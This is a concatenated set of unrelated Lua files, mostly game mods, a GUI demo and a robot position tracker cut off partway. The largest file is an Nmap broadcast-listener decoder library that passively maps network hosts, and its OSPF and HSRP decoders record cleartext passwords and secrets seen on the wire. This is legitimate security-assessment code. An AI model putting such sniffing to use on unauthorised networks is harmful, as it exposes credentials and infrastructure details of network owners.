--- Encodes card data from .toml into .cdb entries
--- @param cards table
--- @param sets table
--- @return CardData[]
function Encoder.encode(cards, sets)
local enc = fun.iter(encode)
return fun.iter(next, cards):map(function(_, card)
return enc:map(function(k, e) return k, e(card, sets) end):tomap()
end):totable()
end
return Encoder
|
-- Define module information
-- All module data must be set correctly, skipping keys will result in a error
-- Module data is in JSON format
-- Please also note; for linux users module(s) and/or uppercase file name paths will cause issues, same with spaces/tabs.
-- Must be set (case sensitive)
-- If 'folderName' is not set, Liro will completely fail to load!
local folderName = "extrautils"
local moduleData = '{"folderName": "' .. folderName .. '", "loadPriority": 100,"author": "Alydus","description": "A module containing useful functions.","website": "alydus.net","version": "0.1", "blacklistedFiles": [], "networkStrings": [], "loadPrefixes": {"server": "sv_", "client": "cl_", "shared": "sh_"}}'
-- Register the module - Do not touch
hook.Run("liro.registerModule", moduleData)
|
#!/usr/bin/env lua
local fl = require( "fltk4lua" )
local N = 0
local W = 70
local H = 70
local ROWS = 6
local COLS = 6
local window, orientation, size
local function slider_cb()
local val = orientation.value
local sze = size.value
for i = window.children-1, 0, -1 do
local wc = window:child( i )
local l = wc.user_data
if l and l:match( "^@" ) then
l = l:sub( 2 )
if val ~= 0 and sze ~= 0 then
l = ("@%+d%d%s"):format( sze, val, l )
elseif val ~= 0 then
l = ("@%d%s"):format( val, l )
elseif sze ~= 0 then
l = ("@%+d%s"):format( sze, l )
else
l = ("@%s"):format( l )
end
if wc.box == "FL_NO_BOX" then
l = "@"..l
end
wc.label = l
end
end
window:redraw()
end
local function bt( name )
local x = N % COLS
local y = (N - x)/COLS
N = N + 1
x = x * W + 10
y = y * H + 10
local b1 = fl.Box( x, y, W-20, H-20, "@"..name )
b1.box = "FL_NO_BOX"
b1.align = fl.ALIGN_BOTTOM
b1.labelsize = 11
b1.user_data = name
local b2 = fl.Box( x, y, W-20, H-20, name )
b2.box = "FL_UP_BOX"
b2.labelcolor = fl.DARK3
b2.user_data = name
end
window = fl.Window( COLS*W, ROWS*H+60 )
bt( "@->" )
bt( "@>" )
bt( "@>>" )
bt( "@>|" )
bt( "@>[]" )
bt( "@|>" )
bt( "@<-" )
bt( "@<" )
bt( "@<<" )
bt( "@|<" )
bt( "@[]<" )
bt( "@<|" )
bt( "@<->" )
bt( "@-->" )
bt( "@+" )
bt( "@->|" )
bt( "@||" )
bt( "@arrow" )
bt( "@returnarrow" )
bt( "@square" )
bt( "@circle" )
bt( "@line" )
bt( "@menu" )
bt( "@UpArrow" )
bt( "@DnArrow" )
bt( "@search" )
bt( "@FLTK" )
bt( "@filenew" )
bt( "@fileopen" )
bt( "@filesave" )
bt( "@filesaveas" )
bt( "@fileprint" )
bt( "@refresh" )
bt( "@reload" )
bt( "@undo" )
bt( "@redo" )
local x = math.floor( window.w * 0.05 + 0.5 )
local w = math.floor( window.w * 0.42 + 0.5 )
orientation = fl.Value_Slider( x, window.h-40, w, 16, "Orientation" )
orientation.type = "FL_HORIZONTAL"
orientation:range( 0.0, 9.0 )
orientation.value = 0.0
orientation.step = 1
orientation.callback = slider_cb
x = math.floor( window.w * 0.53 + 0.5 )
size = fl.Value_Slider( x, window.h-40, w, 16, "Size" )
size.type = "FL_HORIZONTAL"
size:range( -3.0, 9.0 )
size.value = 0.0
size.step = 1
size.callback = slider_cb
window.resizable = window
window:show( arg )
fl.run()
|
local bin = require "bin"
local packet = require "packet"
local stdnse = require "stdnse"
local tab = require "tab"
local table = require "table"
local target = require "target"
--- The following file contains a list of decoders used by the
-- broadcast-listener script. A decoder can be either "ethernet" based or IP
-- based. As we're only monitoring broadcast traffic (ie. traffic not
-- explicitly addressed to us) we're mainly dealing with:
-- o UDP broadcast or multicast traffic
-- o ethernet broadcast traffic
--
-- Hence, the Decoder table defines two sub tables ether and udp.
-- In order to match an incoming UDP packet the destination port number is
-- used, therefore each function is indexed based on their destination port
-- for the udp based decoders. For the ether table each decoder function is
-- indexed according to a pattern that the decoding engine attempts to match.
--
-- Each decoder defines three functions:
-- o <code>new</code> - creates a new instance of the decoder
-- o <code>process</code> - process a packet passed through the
-- <code>data</code> argument.
-- o <code>getResults</code> - retrieve any discovered results
--
-- The discovery engine creates an instance of each decoder once it's needed.
-- Then discovery engine stores this instance in a decoder table for reference
-- once the next packet of the same type comes in. This allows the engine to
-- discard duplicate packets and to request the collected results at the end
-- of the session.
--
-- Currently, the packet decoder decodes the following protocols:
-- o Ether
-- x ARP requests (IPv4)
-- x CDP - Cisco Discovery Protocol
-- x EIGRP - Cisco Enhanced Interior Gateway Routing Protocol
-- x OSPF - Open Shortest Path First
--
-- o UDP
-- x DHCP
-- x Netbios
-- x SSDP
-- x HSRP
-- x DropBox
-- x Logitech SqueezeBox Discovery
-- x Multicast DNS/Bonjour/ZeroConf
-- x Spotify
--
--
-- @author Patrik Karlsson <patrik@cqure.net>
-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
-- Version 0.2
-- Created 07/25/2011 - v0.1 - created by Patrik Karlsson
-- 02/12/2012 - v0.2 - added support for EIGRP - Tom Sellers
-- 07/13/2012 - v0.3 - added support for OSPF - Hani Benhabiles
local bin = require 'bin'
local target = require 'target'
local tab = require 'tab'
local packet = require 'packet'
Decoders = {
ether = {
-- ARP IPv4
['^00..08000604'] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, data)
local ipOps = require("ipOps")
local pos, hw, proto, hwsize, protosize, opcode = bin.unpack(">SSCCS", data)
-- this shouldn't ever happen, given our filter
if ( hwsize ~= 6 ) then return end
local sender, target = {}, {}
-- if this isn't an ARP request, abort
if ( opcode ~= 1 ) then return end
pos, sender.mac,
sender.ip,
target.mac,
target.ip = bin.unpack("<H" .. hwsize .. "IH" .. hwsize .. "I", data, pos)
if ( not(self.results) ) then
self.results = tab.new(3)
tab.addrow(self.results, 'sender ip', 'sender mac', 'target ip')
end
local mac = sender.mac:gsub("(..)(..)(..)(..)(..)(..)","%1:%2:%3:%4:%5:%6")
stdnse.debug1("Decoded ARP: %s, %s, %s", ipOps.fromdword(sender.ip), mac, ipOps.fromdword(target.ip))
if ( not(self.dups[("%u:%s"):format(sender.ip,sender.mac)]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(sender.ip) end
self.dups[("%u:%s"):format(sender.ip,sender.mac)] = true
tab.addrow(self.results, ipOps.fromdword(sender.ip), mac, ipOps.fromdword(target.ip))
end
end,
getResults = function(self) return { name = "ARP Request", (self.results and tab.dump(self.results)) } end,
},
-- CDP
['^AAAA..00000C2000'] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
getAddresses = function(data)
local ipOps = require("ipOps")
local pos, proto_type, proto_len, addr_proto, addr_len, dev_addr, count
local addr_list = ''
pos, count = bin.unpack(">I", data)
for i=1, count do
pos, proto_type, proto_len = bin.unpack(">CC", data, pos)
pos, addr_proto = bin.unpack(">H" .. proto_len, data, pos)
if ( addr_proto == 'CC' ) then
-- IPv4 address, extract it
pos, addr_len = bin.unpack(">S", data, pos)
pos, dev_addr = bin.unpack("<I", data, pos)
addr_list = addr_list .. ' ' .. ipOps.fromdword(dev_addr)
end
-- Add code here for IPv6, others
end
return addr_list
end,
process = function(self, data)
local pos, ver, ttl, chk = bin.unpack(">CCS", data, 9)
if ( ver ~= 2 ) then return end
if ( not(self.results) ) then
self.results = tab.new(5)
tab.addrow( self.results, 'ip', 'id', 'platform', 'version', 'notes' )
end
local result_part = {}
result_part.notes = ''
while ( pos < #data ) do
local typ, len, typdata
pos, typ, len = bin.unpack(">SS", data, pos)
pos, typdata = bin.unpack("A" .. len - 4, data, pos)
-- Device ID
if ( typ == 1 ) then
result_part.id = typdata
-- Version
elseif ( typ == 5 ) then
result_part.version = typdata:match(", Version (.-),")
-- Platform
elseif ( typ == 6 ) then
result_part.platform = typdata
-- Address
elseif ( typ == 2 ) then
result_part.ip = self.getAddresses(typdata)
elseif ( typ == 10) then
local _, mgmt_vlan = bin.unpack(">S", data,pos - 2)
result_part.notes = result_part.notes .. 'native vlan:' .. mgmt_vlan .. ' '
-- Management Address
elseif ( typ == 22 ) then
result_part.notes = result_part.notes .. 'mgmt ip:' .. self.getAddresses(typdata) .. ' '
-- TODO: add more decoding of types here ...
end
end
-- TODO: add code for dups check
if ( not(self.dups[result_part.ip]) ) then
self.dups[result_part.ip] = true
tab.addrow( self.results, result_part.ip, result_part.id, result_part.platform, result_part.version, result_part.notes )
end
end,
getResults = function(self) return { name = "CDP", (self.results and tab.dump(self.results) or "") } end,
},
-- EIGRP Update
['0201....0000'] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
-- EIGRP is IP protocol 88 (0x58), so verify this
if ( p.ip_p ~= 88 ) then return end
local data = layer3:sub(p.ip_data_offset + 1)
local eigrp = require("eigrp")
local route_type, proto_name
-- Extract the EIGRP header
local response = eigrp.EIGRP.parse(data)
if response then
-- Iterate over tlv tables
for _, tlv in pairs(response.tlvs) do
if eigrp.EIGRP.isRoutingTLV(tlv.type) then
if ( not(self.results) ) then
self.results = tab.new(7)
tab.addrow(self.results, 'Sender IP', 'AS#', 'Route Type', 'Destination', 'Next hop', 'Ext Protocol', 'Orig Router ID')
end
if tlv.type == 0x102 then
route_type = "Internal"
elseif tlv.type == 0x103 then
route_type = "External"
for name, value in pairs(eigrp.EXT_PROTO) do
if value == tlv.eproto then
proto_name = name
break
end
end
end
if ( not(self.dups[("%s:%s:s:%s"):format(p.ip_src, response.as, tlv.type, tlv.dst)]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
self.dups[("%s:%s:%s:%s"):format(p.ip_src, response.as, tlv.type, tlv.dst)] = true
tab.addrow( self.results, p.ip_src, response.as, route_type, tlv.dst, tlv.nexth, proto_name or 'X', tlv.orouterid or 'X')
end
end
end
end
end,
getResults = function(self) return { name = "EIGRP Update", (self.results and tab.dump(self.results) or "") } end,
},
['0205....0000'] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
-- EIGRP is IP protocol 88 (0x58), so verify this
if ( p.ip_p ~= 88 ) then return end
local data = layer3:sub(p.ip_data_offset + 1)
local eigrp = require("eigrp")
-- Extract the EIGRP header
local response = eigrp.EIGRP.parse(data)
-- See if Software version TLV is included
local swvertlv
for num, tlv in pairs(response.tlvs) do
if tlv.type == eigrp.TLV.SWVER then
swvertlv = num
end
end
if swvertlv then
if ( not(self.results) ) then
self.results = tab.new(5)
tab.addrow(self.results, 'Sender IP', 'AS number', 'EIGRP version', 'IOS version')
end
if ( not(self.dups[("%s:%s"):format(p.ip_src,response.as)]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
self.dups[("%s:%s"):format(p.ip_src,response.as)] = true
tab.addrow( self.results, p.ip_src, response.as, response.tlvs[swvertlv].majv .. '.' .. response.tlvs[swvertlv].minv, response.tlvs[swvertlv].majtlv .. '.' .. response.tlvs[swvertlv].mintlv)
end
end
end,
getResults = function(self) return { name = "EIGRP Hello", (self.results and tab.dump(self.results) or "") } end,
},
-- OSPF
['02010'] = { -- OSPFv2 Hello packet
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
-- IP Protocol is 89 for OSPF
if p.ip_p ~= 89 then return end
local ospf = require("ospf")
local data = layer3:sub(p.ip_data_offset + 1)
local header = ospf.OSPF.Header.parse(data)
if header then
if not(self.results) then
self.results = tab.new(5)
tab.addrow(self.results, 'Source IP', 'Router ID', 'Area ID', 'Auth Type', 'Password')
end
local srcip = p.ip_src
local areaid = header.area_id
local routerid = header.router_id
local authtype = header.auth_type
local authdata
-- Format authentication type and data
if header.auth_type == 0 then
authtype = "None"
authdata = ''
elseif header.auth_type == 1 then
authtype = "Password"
authdata = header.auth_data.password
elseif header.auth_type == 2 then
authtype = "OSPF MD5"
authdata = "" -- Not really helpful, as the MD5
-- is applied to the whole packet+password
else
-- Error
stdnse.debug1("Unknown OSPF auth type %d", header.auth_type)
return
end
if ( not(self.dups[("%s:%s"):format(routerid,areaid)]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(routerid) end
self.dups[("%s:%s"):format(routerid,areaid)] = true
tab.addrow( self.results, srcip, routerid, areaid, authtype, authdata)
end
else
return nil
end
end,
getResults = function(self) return { name = "OSPF Hello", (self.results and tab.dump(self.results)) } end,
},
},
udp = {
-- DHCP
[68] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
getOption = function(options, name)
for _, v in ipairs(options) do
if ( v.name == name ) then
if ( type(v.value) == "table" ) then
return stdnse.strjoin(", ", v.value)
else
return v.value
end
end
end
end,
process = function(self, layer3)
local dhcp = require("dhcp")
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
-- the dhcp.parse function isn't optimal for doing
-- this, but it will do for now. First, we need to
-- extract the xid as the parse function checks that it
-- was the same as in the request, which we didn't do.
local pos, msgtype, _, _, _, xid = bin.unpack("<CCCCA4", data)
-- attempt to parse the data
local status, result = dhcp.dhcp_parse(data, xid)
if ( status ) then
if ( not(self.results) ) then
self.results = tab.new(6)
tab.addrow(self.results, "srv ip", "cli ip", "mask", "gw", "dns", "vendor" )
end
local uniq_key = ("%s:%s"):format(p.ip_src, result.yiaddr_str)
if ( not(self.dups[uniq_key]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
local mask = self.getOption(result.options, "Subnet Mask") or "-"
local gw = self.getOption(result.options, "Router") or "-"
local dns = self.getOption(result.options, "Domain Name Server") or "-"
local vendor = self.getOption(result.options, "Class Identifier") or "-"
stdnse.debug1("Decoded DHCP: %s, %s, %s, %s, %s, %s", p.ip_src, result.yiaddr_str, mask, gw, dns, vendor)
tab.addrow(self.results, p.ip_src, result.yiaddr_str, mask, gw, dns, vendor )
end
end
end,
getResults = function(self) return { name = "DHCP", (self.results and tab.dump(self.results) or "") } end,
},
-- Netbios
[137] = {
new = function(self)
local o = {
reg_dups = {},
query_dups = {},
reg_result = tab.new(2),
query_result = tab.new(2)
}
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local dns = require('dns')
local bin = require('bin')
local netbios = require('netbios')
local tab = require('tab')
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local dresp = dns.decode(data)
if ( not(dresp.questions) or #dresp.questions < 1 ) then return end
local name = netbios.name_decode("\32" .. dresp.questions[1].dname)
local function add_record(isreg, ip, name)
local res = (isreg and self.reg_result or self.query_result)
local dup = (isreg and self.reg_dups or self.query_dups)
if ( #res == 0 ) then
tab.addrow(res, 'ip', 'query')
end
stdnse.debug1('Decoded Netbios(%s): %s, %s', (isreg and "Registration" or "Query"), ip, name)
if ( not(dup[ip]) or not(dup[ip][name]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
tab.addrow(res, ip, name)
dup[ip] = dup[ip] or {}
dup[ip][name] = true
end
end
add_record( ( dresp.flags.OC2 and dresp.flags.OC4 ), p.ip_src, name )
end,
getResults = function(self)
local result = { name = "Netbios" }
if ( #self.reg_result > 1) then
table.insert(result, { name = "Registrations", tab.dump(self.reg_result) })
end
if ( #self.query_result > 1 ) then
table.insert(result, { name = "Query", tab.dump(self.query_result) })
end
return result
end,
},
-- BROWSER
[138] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local bin = require('bin')
local netbios = require('netbios')
local tab = require('tab')
local ipOps = require("ipOps")
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local pos, ip, _, src, dst = 5
pos, ip, _, _, _, src, dst = bin.unpack("<ISSSA34A34", data, pos)
ip = ipOps.fromdword(ip)
src = netbios.name_decode(src)
dst = netbios.name_decode(dst)
stdnse.debug1("Decoded BROWSER: %s, %s, %s", ip, src, dst)
local dup_rec = ("%s:%s:%s"):format(ip, src, dst)
if ( not(self.dups[dup_rec]) ) then
self.dups[dup_rec] = true
if ( not(self.results) ) then
self.results = tab.new(3)
tab.addrow(self.results, 'ip', 'src', 'dst')
end
tab.addrow(self.results, ip, src, dst)
end
end,
getResults = function(self) return { name = "Browser", (self.results and tab.dump(self.results)) } end,
},
-- DHCPv6
[547] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local tab = require('tab')
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local dhcpv6 = require("dhcp6")
local resp = dhcpv6.DHCP6.Response.parse(data)
for _, v in ipairs(resp.opts or {}) do
if v.resp and v.resp.fqdn then
if ( not(self.results) ) then
self.results = tab.new(2)
tab.addrow(self.results, 'ip', 'fqdn')
end
if ( not(self.dups[p.ip_src]) or not(self.dups[p.ip_src][v.resp.fqdn]) ) then
tab.addrow(self.results, p.ip_src, v.resp.fqdn )
self.dups[p.ip_src] = self.dups[p.ip_src] or {}
self.dups[p.ip_src][v.resp.fqdn] = true
end
end
end
end,
getResults = function(self) return { name = "DHCP6", (self.results and tab.dump(self.results)) } end,
},
-- CUPS
[631] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local tab = require('tab')
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local function split(str)
local start, pos, stop = 1, 1
local pattern = ""
local result = {}
while(pos) do
start = pos + #pattern
pos, stop = str:find("\"", start)
pattern = (pos == start and "\" " or " ")
pos, stop = str:find(pattern, start + 1)
table.insert(result, str:sub(start, (stop and stop - (#pattern))))
end
return ( #result > 0 and result or nil )
end
local results = split(data)
local uri = ( #results > 3 and results[3]:match('[^%"]+') )
local loc = ( #results > 4 and results[4]:match('[^%"]+') or "")
local info = ( #results > 5 and results[5]:match('[^%"]+') or "")
local model = ( #results > 6 and results[6]:match('[^%"]+') or "")
if ( not(self.results) ) then
self.results = tab.new(4)
tab.addrow(self.results, 'ip', 'uri', 'loc', 'model')
end
stdnse.debug1("Decoded CUPS: %s, %s, %s, %s", p.ip_src, uri, loc, model)
if ( not(self.dups[p.ip_src]) or not(self.dups[p.ip_src][uri]) ) then
tab.addrow(self.results, p.ip_src, uri, loc, model)
self.dups[p.ip_src] = self.dups[p.ip_src] or {}
self.dups[p.ip_src][uri] = self.dups[p.ip_src][uri] or true
end
end,
getResults = function(self) return { name = "CUPS", (self.results and tab.dump(self.results)) } end,
},
-- SSDP
[1900] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local headers = stdnse.strsplit("\r\n", data)
for _, h in ipairs(headers) do
local st = ""
if ( h:match("^ST:.*") ) then
st = h:match("^ST:(.*)")
if ( not(self.results) ) then
self.results = tab.new(1)
tab.addrow( self.results, 'ip', 'uri' )
end
if ( not(self.dups[("%s:%s"):format(p.ip_src,st)]) ) then
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
tab.addrow( self.results, p.ip_src, st )
self.dups[("%s:%s"):format(p.ip_src,st)] = true
end
end
end
end,
getResults = function(self) return { name = "SSDP", (self.results and tab.dump(self.results)) } end,
},
--- HSRP
[1985] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local ipOps = require("ipOps")
local State = {
[0] = "Initial",
[1] = "Learn",
[2] = "Listen",
[4] = "Speak",
[8] = "Standby",
[16] = "Active"
}
local Op = {
[0] = "Hello",
[1] = "Coup",
[2] = "Resign",
}
local pos, version, op, state, _, _, prio, group, _, secret = bin.unpack("CCCCCCCCz", data)
if ( version ~= 0 ) then return end
pos = pos + ( 7 - #secret )
local virtip
pos, virtip = bin.unpack("<I", data, pos)
if ( not(self.dups[p.ip_src]) ) then
if ( not(self.results) ) then
self.results = tab.new(7)
tab.addrow(self.results, 'ip', 'version', 'op', 'state', 'prio', 'group', 'secret', 'virtual ip')
end
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
self.dups[p.ip_src] = true
tab.addrow(self.results, p.ip_src, version, Op[op], State[state], prio, group, secret, ipOps.fromdword(virtip))
end
end,
getResults = function(self) return { name = "HSRP", (self.results and tab.dump(self.results) or "") } end,
},
-- Dropbox
[17500] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local json = require("json")
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local status, info = json.parse(data)
if ( not(status) ) then
return false, "Failed to parse JSON data"
end
-- Add host to list.
for _, key1 in pairs({"namespaces", "version"}) do
for key2, val in pairs(info[key1]) do
info[key1][key2] = tostring(info[key1][key2])
end
end
if ( not(self.results) ) then
self.results = tab.new(6)
tab.addrow(
self.results,
'displayname',
'ip',
'port',
'version',
'host_int',
'namespaces'
)
end
if ( not(self.dups[p.ip_src]) ) then
tab.addrow(
self.results,
info.displayname,
p.ip_src,
info.port,
stdnse.strjoin(".", info.version),
info.host_int,
stdnse.strjoin(", ", info.namespaces)
)
self.dups[p.ip_src] = true
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
end
end,
getResults = function(self) return { name = "DropBox", (self.results and tab.dump(self.results) or "") } end,
},
--- Squeezebox Discovery
[3483] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
if ( data:match("^eIPAD") ) then
if ( not(self.results) ) then
self.results = tab.new(1)
tab.addrow( self.results, 'ip' )
end
if ( not(self.dups[p.ip_src]) ) then
tab.addrow( self.results, p.ip_src )
self.dups[p.ip_src] = true
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
end
end
end,
getResults = function(self) return { name = "Squeezebox Discovery", (self.results and tab.dump(self.results) or "") } end,
},
-- Multicast DNS/BonJour/ZeroConf
[5353] = {
new = function(self)
local o = {
dups = {},
macbooks = {},
generic = {}
}
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local dns = require('dns')
local bin = require('bin')
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local dresp = dns.decode(data)
local name
if ( dresp.questions and #dresp.questions > 0 ) then
name = dresp.questions[1].dname
elseif ( dresp.answers and #dresp.answers > 0 ) then
-- Identify MacBooks
local macbook, model, ip, ipv6
if ( p.ip_src:match(":") ) then
ipv6 = p.ip_src
else
ip = p.ip_src
end
for i in ipairs(dresp.answers) do
if ( dresp.answers[i]['data'] ) then
local _, data = bin.unpack("p", dresp.answers[i]['data'])
if ( data ) then
model = data:match("^model=(.*)")
if ( model ) then
macbook = dresp.answers[i]['dname']:match("^(.-)%._")
end
end
elseif ( dresp.answers[i]['ip'] ) then
ip = dresp.answers[i]['ip']
elseif ( dresp.answers[i]['ipv6'] ) then
ipv6 = dresp.answers[i]['ipv6']
elseif ( not(macbook) and dresp.answers[i]['domain'] ) then
macbook = dresp.answers[i]['domain']
end
end
if ( macbook and model ) then
self.macbooks[macbook] = self.macbooks[macbook] or {}
self.macbooks[macbook]['macbook'] = self.macbooks[macbook]['macbook'] or macbook
self.macbooks[macbook]['model'] = self.macbooks[macbook]['model'] or model
self.macbooks[macbook]['ip'] = self.macbooks[macbook]['ip'] or ip
self.macbooks[macbook]['ipv6'] = self.macbooks[macbook]['ipv6'] or ipv6
stdnse.debug1("Decoded MDNS(MacBook): %s, %s, %s, %s",
(self.macbooks[macbook]['ip'] or ""), (self.macbooks[macbook]['ipv6'] or ""),
self.macbooks[macbook]['model'], self.macbooks[macbook]['macbook'])
else
name = dresp.answers[1].dname
if ( not(name) ) then return end
self.generic[name] = self.generic[name] or {}
self.generic[name]['name'] = self.generic[name]['name'] or name
if ( p.ip_src:match(":") ) then
self.generic[name]['ipv6'] = p.ip_src
else
self.generic[name]['ip'] = p.ip_src
end
stdnse.debug1("Decoded MDNS(Generic): %s, %s", name, p.ip_src)
end
end
end,
getResults = function(self)
local tab = require('tab')
local result = { name = "MDNS" }
-- build a macbooks table
local macbooks, generic
if ( next(self.generic) ) then
table.sort(self.generic)
generic = tab.new(3)
tab.addrow(generic, 'ip', 'ipv6', 'name')
for name, v in pairs(self.generic) do
tab.addrow(generic, (v.ip or ""), (v.ipv6 or ""), name)
end
table.insert(result, { name = 'Generic', tab.dump(generic) } )
end
if ( next(self.macbooks) ) then
table.sort(self.macbooks)
macbooks = tab.new(4)
tab.addrow(macbooks, 'ip', 'ipv6', 'name', 'model')
for _, v in pairs(self.macbooks) do
tab.addrow(macbooks, (v.ip or ""), (v.ipv6 or ""), v.macbook, v.model)
end
table.insert(result, { name = 'Macbooks', tab.dump(macbooks) } )
end
return result
end,
},
[5355] = { -- LLMNR
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local tab = require('tab')
local dns = require('dns')
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
local resp = dns.decode(data)
if ( not(self.results) ) then
self.results = tab.new(2)
tab.addrow(self.results, 'ip', 'query')
end
local name = (( resp.questions and #resp.questions > 0 ) and resp.questions[1].dname )
if ( not(name) ) then return end
stdnse.debug1("Decoded LLMNR: %s, %s", p.ip_src, name)
if ( not(self.dups[("%s:%s"):format(p.ip_src, name)]) ) then
self.dups[("%s:%s"):format(p.ip_src, name)] = true
tab.addrow(self.results, p.ip_src, name)
end
end,
getResults = function(self) return { name = "LLMNR", (self.results and tab.dump(self.results)) } end,
},
--- Spotify
[57621] = {
new = function(self)
local o = { dups = {} }
setmetatable(o, self)
self.__index = self
return o
end,
process = function(self, layer3)
local p = packet.Packet:new( layer3, #layer3 )
local data = layer3:sub(p.udp_offset + 9)
if ( data:match("^SpotUdp") ) then
if ( not(self.results) ) then
self.results = tab.new(1)
tab.addrow( self.results, 'ip' )
end
if ( not(self.dups[p.ip_src]) ) then
tab.addrow( self.results, p.ip_src )
self.dups[p.ip_src] = true
if ( target.ALLOW_NEW_TARGETS ) then target.add(p.ip_src) end
end
end
end,
getResults = function(self) return { name = "Spotify", (self.results and tab.dump(self.results)) } end,
}
}
}
|
function onUse(player, item, fromPosition, target, toPosition, isHotkey)
if player:getStorageValue(Storage.GravediggerOfDrefia.Mission69) == 1 and player:getStorageValue(Storage.GravediggerOfDrefia.Mission70) < 1 then
player:setStorageValue(Storage.GravediggerOfDrefia.Mission70, 1)
player:sendTextMessage(MESSAGE_EVENT_ADVANCE, 'You have found a crumpled paper.')
player:addItem(21474, 1)
end
return true
end
|
CloneClass( WeaponTweakData )
Hooks:RegisterHook("WeaponTweakDataPostInit")
function WeaponTweakData.init(self, tweak_data)
self.orig.init(self, tweak_data)
Hooks:Call("WeaponTweakDataPostInit", self, tweak_data)
end
Hooks:RegisterHook("WeaponTweakDataPostInitPlayerWeaponData")
function WeaponTweakData._init_data_player_weapons(self, tweak_data)
self.orig._init_data_player_weapons(self, tweak_data)
Hooks:Call("WeaponTweakDataPostInitPlayerWeaponData", self, tweak_data)
end
Hooks:RegisterHook("WeaponTweakDataPostInitNewWeapons")
function WeaponTweakData._init_new_weapons(self, autohit_rifle_default, autohit_pistol_default, autohit_shotgun_default, autohit_lmg_default, autohit_snp_default, autohit_smg_default, autohit_minigun_default, damage_melee_default, damage_melee_effect_multiplier_default, aim_assist_rifle_default, aim_assist_pistol_default, aim_assist_shotgun_default, aim_assist_lmg_default, aim_assist_snp_default, aim_assist_smg_default, aim_assist_minigun_default)
self.orig._init_new_weapons(self, autohit_rifle_default, autohit_pistol_default, autohit_shotgun_default, autohit_lmg_default, autohit_snp_default, autohit_smg_default, autohit_minigun_default, damage_melee_default, damage_melee_effect_multiplier_default, aim_assist_rifle_default, aim_assist_pistol_default, aim_assist_shotgun_default, aim_assist_lmg_default, aim_assist_snp_default, aim_assist_smg_default, aim_assist_minigun_default)
Hooks:Call("WeaponTweakDataPostInitNewWeapons", self, autohit_rifle_default, autohit_pistol_default, autohit_shotgun_default, autohit_lmg_default, autohit_snp_default, autohit_smg_default, autohit_minigun_default, damage_melee_default, damage_melee_effect_multiplier_default, aim_assist_rifle_default, aim_assist_pistol_default, aim_assist_shotgun_default, aim_assist_lmg_default, aim_assist_snp_default, aim_assist_smg_default, aim_assist_minigun_default)
end
|
local robot = require('robot');
local tcp = require('tcp');
local orient = require('trackOrientation');
local config = require('config');
local confOptions = config.get(config.path);
local position = {
x = tonumber(confOptions.posX),
y = tonumber(confOptions.posY),
z = tonumber(confOptions.posZ),
};
local M = {};
function M.save()
local posConf = {
posX = position.x,
posY = position.y,
posZ = position.z,
};
config.set(posConf, config.path);
end
function M.load()
local confOptions = config.get(config.path);
position = {
x = tonumber(confOptions.posX),
y = tonumber(confOptions.posY),
z = tonumber(confOptions.posZ),
};
end
function M.set(x, y, z)
position = {x=x, y=y, z=z};
return position;
end
function M.get()
return position;
end
-- how to change coordinates based on orientation
-- 0: z+, south
-- 1: x+, east
-- 2: z-, north
-- 3: x-, west
local forwardMap = {
[0]={z=1},
[1]={x=1},
[2]={z=-1},
[3]={x=-1}
};
local backwardMap = {
[0]={z=-1},
[1]={x=-1},
[2]={z=1},
